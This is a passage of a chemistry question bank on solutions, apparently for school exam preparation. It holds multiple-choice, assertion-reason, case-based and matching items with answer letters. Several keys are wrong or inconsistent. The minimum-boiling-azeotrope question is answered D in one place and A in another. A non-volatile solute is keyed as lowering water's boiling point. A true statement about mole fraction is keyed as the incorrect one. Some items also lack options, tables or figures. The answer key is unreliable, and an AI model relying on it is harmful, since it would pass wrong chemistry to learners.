number of molecules of only one of the liquids escape from the solution.\n(D) A–B interactions are weaker than those between A–A or B–B.\n\nA\n\nQuestion. Consider the figure and mark the correct option.\n\n(A) Water will move from side (A) to side (B) if pressure lower than osmotic pressure is applied on piston (B).\n(B) Water will move from side (B) to side (A) if pressure greater than osmotic pressure is applied on piston (B).\n(C) Water will move from side (B) to side (A) if pressure equal to osmotic pressure is applied on piston (B).\n(D) Water will move from side (A) to side (B) if pressure equal to osmotic pressure is applied on piston (A).\n\nB\n\nQuestion. If two liquids A and B form minimum boiling azeotrope at some specific composition then_________.\n(A) A–B interactions are stronger than those between A–A or B–B.\n(B) Vapour pressure of solution increases because more number of molecules of liquids A and B can escape from the solution.\n(C) Vapour pressure of solution decreases because less number of molecules of only one of the liquids escape from the solution.\n(D) A–B interactions are weaker than those between A–A or B–B.\n\nD\n\nASSERTION AND REASON BASED MCQs\n\nDirections: In the following questions, A statement of Assertion (A) is followed by a statement of Reason (R). Mark the correct choice as.\n(A) Both A and R are true and R is the correct explanation of A\n(B) Both A and R are true but R is NOT the correct explanation of A\n(C) A is true but R is false\n(D) A is false and R is True\n\nQuestion. Assertion (A): Elevation in boiling point is a colligative property.\nReason (R): Elevation in boiling point is directly proportional to molarity.\n\nA\n\nQuestion. Assertion (A): Molarity of a solution changes with temperature.\nReason (R): Molarity is dependent on volume of solution.\n\nA\n\nQuestion. Assertion (A): 0.1 M solution of KCl has great osmotic pressure than 0.1 M solution of glucose at same temperature.\nReason (R): In solution KCl dissociates to produce more number of particles.\n\nA\n\nQuestion. Assertion (A): An ideal solution obeys Henry’s law.\nReason (R): In an ideal solution, solute-solute as well as solvent-solvent interactions are similar to solutesolvent interaction.\n\nD\n\nQuestion. Assertion (A): Molarity of 0.1 N solution of HCl is 0.1 M.\nReason (R): Normality and molarity of a solution are always equal.\n\nC\n\nQuestion. Assertion (A): Dimethyl ether is less volatile than ethyl alcohol.\nReason (R): Dimethyl ether has greater vapour pressure than ethyl alcohol.\n\nD\n\nQuestion. Assertion (A): Molarity of a solution in liquid state changes with temperature.\nReason (R): The volume of a solution changes with change in temperature.\n\nA\n\nQuestion. Assertion (A): Vapour pressure increase with increase in temperature.\nReason (R): With increase in temperature, more molecules of the liquid can go into vapour phase.\n\nA\n\nQuestion. Assertion (A): A molar solution is more concentrated than molal solution.\nReason (R): A molar solution contains one mole of solute in 1000 mL of solution.\n\nA\n\nCASE-BASED MCQs\n\nI. Read the passage given below and answer the following questions:\n\nScuba apparatus includes a tank of compressed air toted by the diver on his or her back, a hose for carrying air to a mouthpiece, a face mask that covers the eyes and nose, regulators that control air flow, and gauges that indicate depth and how much air remains in the tank. A diver who stays down too long, swims too deep, or comes up too fast can end up with a condition called “the bends.” In this case, bubbles of gas in the blood can cause intense pain, even death. In these following questions a statement of assertion followed by a statement of reason is given.\n\nChoose the correct answer out of the following choices.\n(A) Assertion and Reason both are correct statements and Reason is correct explanation for Assertion.\n(B) Assertion and Reason both are correct statements but Reason is not correct explanation for Assertion.\n(C) Assertion is correct statement but Reason is wrong statement.\n(D) Assertion is wrong statement but Reason is correct statement.\n\nQuestion. Assertion: Bends is caused due to formation of nitrogen bubbles in the blood of scuba divers which blocks the capillaries.\nReason: Underwater high pressure increases solubility of gases in blood, while as pressure gradually decreases moving towards the surface,gases are released and nitrogen bubbles are formed in blood.\n\nA\n\nQuestion. Assertion: Scuba divers may face a medical condition called ‘bends’.\nReason: ‘Bends’ can be explained with the help of Henry’s law as it links the partial pressure of gas to that of its mole fraction.\n\nA\n\nQuestion. Assertion: Anoxia is a condition experienced by climbers which makes them suddenly agile and unable to think clearly.\nReason: At high altitudes the partial pressure of oxygen is less than that at the ground level.\n\nD\n\nQuestion. Assertion: Soft drinks and soda water bottles are sealed under high pressure.\nReason: High pressure maintains the taste and texture of the soft drinks.\n\nC\n\nII. Read the passage given below and answer the following questions:\n\nRaoult’s law states that for a solution of volatile liquids, the partial vapour pressure of each component of the solution is directly proportional to its mole fraction present in solution. Dalton’s law of partial pressure states that the total pressure (ptotal) over the solution phase in the container will be the sum of the partial pressures of the components of the solution and is given as:\nPtotal = P1 +P2\n\nQuestion. In comparison to a 0.01 M solution of glucose, the depression in freezing point of a 0.01 M MgCl2 solution is _____________.\n(A) the same\n(C) about three times\n(D) about six times\n\nC\n\nQuestion. What type of deviation from Raoult’s law does the above graph represent ?\n(A) First positive then negative\n(B) Negative deviation\n(C) Positive deviation\n(D) First negative then positive\n\nB\n\nQuestion. Which of the following aqueous solutions should have the highest boiling point ?\n(A) 1.0 M NaOH\n(B) 1.0 M Na2SO4\n(C) 1.0 M NH4NO3\n(D) 1.0 M KNO3\n\nB\n\nQuestion. A solution of two liquids boils at a temperature more than the boiling point of either of them. What type of deviation will be shown by the solution formed in terms of Raoult’s law ?\n(A) Negative deviation\n(B) Positive deviation\n(C) First positive then negative\n(D) First negative then positive\n\nA\n\nIII. Read the passage given below and answer the following questions:\n\nBoiling point or freezing point of liquid solution would be affected by the dissolved solids in the liquid phase. A soluble solid in solution has the effect of raising its boiling point and depressing its freezing point. The addition of non-volatile substances to a solvent decreases the vapor pressure and the added solute particles affect the formation of pure solvent crystals.\nAccording to many researches the decrease in freezing point directly correlated to the concentration of solutes dissolved in the solvent. This phenomenon is expressed as freezing point depression and it is useful for several applications such as freeze concentration of liquid food and to find the molar mass of an unknown solute in the solution. Freeze concentration is a high quality liquid food concentration method where water is removed by forming ice crystals. This is done by cooling the liquid food below the freezing point of the solution. The freezing point depression is referred as a colligative property and it is proportional to the molar concentration of the solution (m), along with vapor pressure lowering, boiling point elevation, and osmotic pressure. These are physical characteristics of solutions that depend only on the identity of the solvent and the concentration of the solute. The characters are not depending on the solute’s identity.\n\nQuestion. When a non volatile solid is added to pure water it will:\n(a) boil above 100°C and freeze above 0°C\n(b) boil below 100°C and freeze above 0°C\n(c) boil above 100°C and freeze below 0°C\n(d) boil below 100°C and freeze below 0°C\n\nB\n\nQuestion. Colligative properties are:\n(a) dependent only on the concentration of the solute and independent of the solvent’s and solute’s identity.\n(b) dependent only on the identity of the solute and the concentration of the solute and independent of the solvent’s identity.\n(c) dependent on the identity of the solvent and solute and thus on the concentration of the solute.\n(d) dependent only on the identity of the solvent and the concentration of the solute and independent of the solute’s identity.\n\nD\n\nQuestion. Assume three samples of juices A, B and C have glucose as the only sugar present in them.The concentration of sample A, B and C are 0.1M,.5M and 0.2 M respectively. Freezing point will be highest for the fruit juice:\n(a) A\n(b) B\n(c) C\n(d) All have same freezing point\n\nA\n\nQuestion. Identify which of the following is a colligative property:\n(A) freezing point\n(B) boiling point\n(C) osmotic pressure\n(D) all of the above\n\nC\n\nSTATEMENT TYPE QUESTIONS\n\nQuestion. On the basis of information given below mark the correct option.\n(i) In bromoethane and chloroethane mixture intermolecular interactions of A-A and B-B type are nearly same as A-B type interactions.\n(ii) In ethanol and acetone mixture A-A or B-B type intermolecular interactions are stronger than A-B type interactions.\n(iii) In chloroform and acetone mixture A-A or B-B type intermolecular interactions are weaker than A-B type interactions.\n(a) Solution (ii) and (iii) will follow Raoult’s law.\n(b) Solution (i) will follow Raoult’s law.\n(c) Solution (ii) will show negative deviation from Raoult’s law.\n(d) Solution (iii) will show positive deviation from Raoult’s law.\n\nB\n\nQuestion. Molarity and molality of a solution of NaOH is calculated.If now temperature of the solution is increased then which of the following statement(s) is/are correct ?\n(i) Molarity of solution decreases\n(ii) Molality of the solution increases\n(a) Both statements are correct\n(b) Statement (i) is correct only\n(c) Statement (ii) is correct only\n(d) Both statements are incorrect.\n\nB\n\nQuestion. Read the following statements carefully and choose the correct option.\n(i) Different gases have different KH values at the same temperature.\n(ii) Higher the value of KH at a given temperature, lower is the solubility of the nature of gas in the liquid.\n(iii) KH is a function of the nature of the gas.\n(iv) Solubility of gases increases with increase of temperature.\n(a) (i), (ii) and (iv) are correct.\n(b) (ii) and (iv) are correct.\n(c) (i), (ii) and (iii) are correct.\n(d) (i) and (iv) are correct\n\nC\n\nQuestion. Which observation(s) reflect(s) colligative properties?\n(i) A 0.5 m NaBr solution has a higher vapour pressure than a 0.5 m BaCl2 solution at the same temperature\n(ii) Pure water freezes at the higher temperature than pure methanol\n(iii) a 0.1 m NaOH solution freezes at a lower temperature than pure water\nChoose the correct answer from the codes given below\n(a) (i), (ii) and (iii)\n(b) (i) and (ii)\n(c) (ii) and (iii)\n(d) (i) and (iii)\n\nD\n\nQuestion. Read the following statements and choose the correct option.\n(i) Polar solutes dissolve in a polar solvent.\n(ii) Polar solutes dissolve in a non-polar solvent.\n(iii) Non-polar solutes dissolve in a non-polar solvent.\n(iv) Non-polar solutes dissolve in a polar solvent.\n(a) (i) and (ii) are correct.\n(b) (i), (ii) and (iii) are correct.\n(c) (i) and (iii) are correct.\n(d) (ii) and (iv) are correct.\n\nC\n\nQuestion. Study the given statements and choose the correct option.\n(i) 3.62 mass percentage of sodium hypochlorite in water is used as commercial bleaching solution.\n(ii) 35% volume percentage of ethylene glycol is used as an antifreeze (as coolent in car engines).\n(iii) Concentration of dissolved oxygen in a litre of sea water is 5.8 ppm.\n(a) Statements (i) and (ii) are correct\n(b) Statements (i) and (iii) are correct\n(c) Statements (ii) and (iii) are correct\n(d) Statements (i),(ii) and (iii) are correct\n\nD\n\nQuestion. Read the following statements carefully and choose the correct option\n(i) Osmotic pressure is not a colligative property.\n(ii) For dilute solutions, osmotic pressure is proportional to the molarity, C of the solution at a given temperature T.\n(iii) During osmosis ,solvent molecules always flow from higher concentration to lower concentration of solution.\n(iv) The osmotic pressure has been found to depend on the concentration of the solution\n(a) (i), (ii) and (iv) are correct\n(b) (ii) and (iv) are correct\n(c) (iii), and (iv) are correct\n(d) (i), (ii) and (iii) are correct\n\nB\n\nQuestion. Read the following statements carefully and choose the correct option\n(i) The vapour pressure of a liquid decreases with increase of temperature.\n(ii) The liquid boils at the temperature at which its vapour pressure is equal to the atmospheric pressure.\n(iii) Vapour pressure of the solvent decreases in the presence of non-volatile solute.\n(iv) Vapour pressure of the pure solvent and solution is a function of temperature.\n(a) (i), (ii) and (iv) are correct\n(b) (i), (iii), and (iv) are correct\n(c) (ii), (iii), and (iv) are correct\n(d) (i), (ii) and (iii) are correct\n\nC\n\nQuestion. “If temperature increases solubility of gas decreases”. For this situation which of the following statement(s) is/are correct ?\n(i) Reaction is endothermic\n(ii) Le-chatelier’s principle can be applied\n(a) Statement (i) and (ii) both are correct\n(b) Statement (i) is correct only\n(c) Statement (ii) is correct only\n(d) Both statement(s) (i) and (ii) are incorrect\n\nC\n\nMATCHING TYPE QUESTIONS\n\nQuestion. Match the laws given in the Column-I with expression given in Column-II.\n\n(a) A – (r), B – (t), C – (s), D – (p), E – (q)\n(b) A – (t), B – (r), C – (q), D – (s), E – (p)\n(c) A – (p), B – (t), C – (r), D – (q), E – (s)\n(d) A – (s), B – (p), C – (q), D – (r), E – (t)\n\nA\n\nQuestion. Match the columns\n\nColumn-I                                        Column-II\n(A) Na-Hg Amalgam                     (p) gas – solid\n(B) H2 in Pd                                 (q) gas – liquid\n(C) Camphor in nitrogen gas         (r) liquid – solid\n(D) Oxygen dissolved in water       (s) solid – gas\n(a) A – (q), B – (s), C – (r), D – (p)\n(b) A – (t), B – (p), C – (q), D – (s)\n(c) A – (r), B – (p), C – (s), D – (q)\n(d) A – (s), B – (q), C – (p), D – (p)\n\nC\n\nQuestion. Match the Column I, II & III and choose the correct option.\n\nColumn-I                                         Column-II                   Column-III\n(A) Gaseous solutions                     (p) Solid-liquid           (h) Copper dissolved in gold\n(B) Liquid solutions                        (q) Solid-solid             (i) Chloroform mixed with nitrogen\n(C) Solid solutions                         (r) Liquid-gas              (j) Common salt  dissolved in water\n(a) (A) – (r) – (h), (B) – (r) – (i), (C) – (p) – (j)\n(b) (A) – (r) – (i), (B) – (p) – (j), (C) – (q) – (h)\n(c) (A) – (r) – (j), (B) – (p) – (h), (C) – (q) – (i)\n(d) (A) – (r) – (j), (B) – (q) – (i), (C) – (p) – (h)\n\nB\n\nQuestion. Match the columns\n\nColumn -I                            Column-II\n(A) Mass percentage           (p) Medicine and pharmacy\n(B) Mass by volume            (q) Concentration of pollutants in water\n(C) ppm                              (r) Industrial chemical application\n(D) Volume percentage         (s) Liquid solutions\n(a) A – (q), B – (p), C – (s), D – (r)\n(b) A – (s), B – (r), C – (p), D – (q)\n(c) A – (r), B – (q), C – (s), D – (p)\n(d) A – (r), B – (p), C – (q), D – (s)\n\nD\n\nQuestion. Match the columns\n\n(a) A – (s), B – (r), C – (p), D – (q)\n(b) A – (r), B – (p), C – (s), D – (q)\n(c) A – (r), B – (s), C – (q), D – (p)\n(d) A – (q), B – (p), C – (r), D – (s)\n\nA\n\nASSERTION-REASON TYPE QUESTIONS\n\nDirections : Each of these questions contain two statements,Assertion and Reason. Each of these questions also has four alternative choices, only one of which is the correct answer. You have to select one of the codes (a), (b), (c) and (d) given below.\n(a) Assertion is correct, reason is correct; reason is a correct explanation for assertion.\n(b) Assertion is correct, reason is correct; reason is not a correct explanation for assertion\n(c) Assertion is correct, reason is incorrect\n(d) Assertion is incorrect, reason is correct.\n\nQuestion. Assertion : Azeotropic mixtures are formed only by non-ideal solutions and they may have boiling points either greater than both the components or less than both the components.\nReason : The composition of the vapour phase is same as that of the liquid phase of an azeotropic mixture.\n\nB\n\nQuestion. Assertion : If one component of a solution obeys Raoult’s law over a certain range of composition, the other component will not obey Henry’s law in that range.\nReason : Raoult’s law is a special case of Henry’s law.\n\nB\n\nQuestion. Assertion : When a solution is separated from the pure solvent by a semi- permeable membrane, the solvent molecules pass through it from pure solvent side to the solution side\nReason : Diffusion of solvent occurs from a region of high concentration solution to a region of low concentration solution.\n\nB\n\nQuestion. Assertion : Molarity of a solution in liquid state changes with temperature.\nReason : The volume of a solution changes with change in temperature.\n\nA\n\nQuestion. Assertion : When NaCl is added to water a depression in freezing point is observed.\nReason : The lowering of vapour pressure of a solution causes depression in the freezing point.\n\nA\n\nQuestion. Assertion : If a liquid solute more volatile than the solvent is added to the solvent, the vapour pressure of the solution may increase i.e., ps > po.\nReason : In the presence of a more volatile liquid solute,only the solute will form the vapours and solvent will not.\n\nC\n\nQuestion. Assertion : When methyl alcohol is added to water, boiling point of water increases.\nReason : When a volatile solute is added to a volatile solvent elevation in boiling point is observed.\n\nD\n\nCRITICAL THINKING TYPE QUESTIONS\n\nQuestion. If two liquids A and B form minimum boiling azeotrope at some specific composition then _______.\n(a) A – B interactions are stronger than those between A – A or B – B\n(b) vapour pressure of solution increases because more number of molecules of liquids A and B can escape from the solution.\n(c) vapour pressure of solution decreases because less number of molecules of only one of the liquids escape from the solution\n(d) A – B interactions are weaker than those between A – A or B – B\n\nA\n\nQuestion. Equal masses of methane and oxygen are mixed in an empty container at 25°C. The fraction of the total pressure exerted by oxygen is\n(a) 1/2\n(b) 2/3\n(c) 1/3 × 273/298\n(d) 1/3\n\nD\n\nQuestion. The normality of orthophosphoric acid having purity of 70 % by weight and specific gravity 1.54 is\n(a) 11 N\n(b) 22 N\n(c) 33 N\n(d) 44 N\n\nC\n\nQuestion. KH value for Ar(g), CO2(g), HCHO (g) and CH4(g) are 40.39,1.67, 1.83 × 10–5 and 0.413 respectively.\nArrange these gases in the order of their increasing solubility.\n(a) HCHO < CH4 < CO2 < Ar\n(b) HCHO < CO2 < CH4 < Ar\n(c) Ar < CO2 < CH4 < HCHO\n(d) Ar < CH4 < CO2 < HCHO\n\nC\n\nQuestion. What is the ratio of no. of moles of nitrogen to that of oxygen in a container of 5 litre at atmospheric pressure?\n(a) 1 : 1.71\n(b) 1 : 2\n(c) 2 : 1\n(d) 1 : 24\n\nA\n\nQuestion. Consider a and b are two components of a liquid mixture,their corresponding vapour pressure (mmHg) are respectively 450 and 700 in pure states and total pressure given is 600. Then corresponding composition in liquid phase will be\n(a) 0.4, 0.6\n(b) 0.5, 0.5\n(a) 0.6, 0.4\n(d) 0.3, 0.7\n\nA\n\nQuestion. For a dilute solution containing 2.5 g of a non-volatile nonelectrolyte solute in 100 g of water, the elevation in boiling point at 1 atm pressure is 2°C. Assuming concentration of solute is much lower than the concentration of solvent, the vapour pressure (mm of Hg) of the solution is (take Kb = 0.76 K kg mol–1)\n(a) 724\n(b) 740\n(c) 736\n(d) 718\n\nA\n\nQuestion. Which will form maximum boiling point azeotrope\n(a) HNO3 + H2O solution\n(b) C2H5OH + H2O solution\n(c) C6H6 + C6H5CH3 solution\n(d) None of these\n\nA\n\nQuestion. Chloroform and acetone are added to each other, Raoult’s law shows negative deviation.what does this suggests ?\n(a) Exothermic reaction\n(b) Endothermic reaction\n(c) Zero change in enthalpy\n(d) None of these\n\nA\n\nQuestion. When a gas is bubbled through water at 298 K, a very dilute solution of the gas is obtained. Henry’s law constant for the gas at 298 K is 100 kbar. If the gas exerts a partial pressure of 1 bar, the number of millimoles of the gas dissolved in one litre of water is\n(a) 0.555\n(b) 5.55\n(c) 0.0555\n(d) 55.5\n\nA\n\nQuestion. Which of the following statements, regarding the mole fraction (x) of a component in solution, is incorrect?\n(a) 0 ≤ x ≤1\n(b) x ≤1\n(c) x is always non-negative\n(d) None of these\n\nA\n\nQuestion. Which one of the following gases has the lowest value of Henry’s law constant?\n(a) N2\n(b) He\n(c) H2\n(d) CO2\n\nD\n\nQuestion. Someone has added a non electrolyte solid to the pure liquid but forgot that among which of the two beakers he has added that solid. This problem can be solved by checking\n(a) relative lower in vapour pressure\n(b) elevation in boiling point\n(c) depression in Freezing point\n(d) all above\n\nD\n\nQuestion. An 1% solution of KCl (I), NaCl (II), BaCl2 (III) and urea (IV) have their osmotic pressure at the same temperature in the ascending order (molar masses of NaCl, KCl,BaCl2 and urea are respectively 58.5, 74.5, 208.4 and 60 g mole–1). Assume 100% ionization of the electrolytes at this temperature\n(a) I < III < II < IV\n(b) III < I < II < IV\n(c) I < II < III < IV\n(d) III < IV < I < II\n\nD\n\nQuestion. Vapour pressure of benzene at 30°C is 121.8 mm. When 15g of a non-volatile solute is dissolved in 250 g of benzene, its vapour pressure is decreased to 120.2 mm. The molecular weight of the solute is\n(a) 35.67 g\n(b) 356.7 g\n(c) 432.8 g\n(d) 502.7 g\n\nB\n\nQuestion. The difference between the boiling point and freezing point of an aqueous solution containing sucrose (molecular wt = 342 g mole–1) in 100 g of water is 105°C. If Kf and Kb of water are 1.86 and 0.51 K kg mol–1 respectively, the weight of sucrose in the solution is about\n(a) 34.2 g\n(b) 342 g\n(c) 7.2 g\n(d) 72 g\n\nD\n\nQuestion. At 300 K the vapour pressure of an ideal solution containing 1 mole of liquid A and 2 moles of liquid B is 500 mm of Hg.The vapour pressure of the solution increases by 25 mm of Hg, if one more mole of B is added to the above ideal solution at 300 K. Then the vapour pressure of A in its pure state is\n(a) 300 mm of Hg\n(b) 400 mm of Hg\n(c) 500 mm of Hg\n(d) 600 mm of Hg\n\nA\n\nQuestion. The boiling point of 0.2 mol kg–1 solution of X in water is greater than equimolal solution of Y in water. Which one of the following statements is true in this case ?\n(a) Molecular mass of X is greater than the molecular mass of Y.\n(b) Molecular mass of X is less than the molecular mass of Y.\n(c) Y is undergoing dissociation in water while X undergoes no change.\n(d) X is undergoing dissociation in water.\n\nD\n\nQuestion. The vapour pressure of a solvent decreases by 10 mm of Hg when a non-volatile solute was added to the solvent. The mole fraction of the solute in the solution is 0.2. What should be the mole fraction of the solvent if the decrease in the vapour pressure is to be 20 mm of Hg ?\n(a) 0.8\n(b) 0.6\n(c) 0.4\n(d) 0.2\n\nB\n\nQuestion. What is the freezing point of a solution containing 8.1 g HBr in 100 g water assuming the acid to be 90% ionised ? (Kf for water = 1.86 K kg mol–1) :\n(a) 0.85°K\n(b) – 3.53°K\n(c) 0°K\n(d) – 0.35°K\n\nB\n\nQuestion. 1 g of a non-volatile, non-electrolyte solute of molar mass 250 g/mol was dissolved in 51.2 g of benzene. If the freezing point depression constant Kf of benzene is 5.12 kg K mol–1. The freezing point of benzene is lowered by\n(a) 0.3 K\n(b) 0.5 K\n(c) 0.2 K\n(d) 0.4 K" ]

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